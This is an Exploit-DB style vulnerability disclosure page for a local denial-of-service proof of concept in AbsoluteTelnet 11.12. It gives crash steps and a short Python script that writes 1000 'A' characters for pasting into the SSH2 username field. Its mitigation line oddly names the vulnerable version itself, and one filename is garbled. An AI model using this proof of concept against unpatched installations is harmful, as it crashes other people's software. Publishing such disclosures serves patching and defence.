AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)

vendor:

AbsoluteTelnet

by:

chuyreds

7.8

CVSS

HIGH

Denial of Service (DoS) Local

CWE

Product Name: AbsoluteTelnet

Affected Version From: 11.12

Affected Version To: 11.12

Patch Exists: YES

Related CWE: N/A

CPE: a:celestial_software:absolutetelnet

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

AbsoluteTelnet 11.12 – ‘SSH2/username’ Denial of Service (PoC)

AbsoluteTelnet 11.12 is vulnerable to a denial of service attack when a specially crafted username is used in an SSH2 connection. By sending a large string of 'A' characters as the username, the application will crash.

Mitigation:

Upgrade to the latest version of AbsoluteTelnet 11.12 or later.

Source

Exploit-DB raw data:

# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
#3.- Open AbsoluteTelnet
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"
#5.- In "username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH2.txt", "w")
f.write(buffer)
f.close()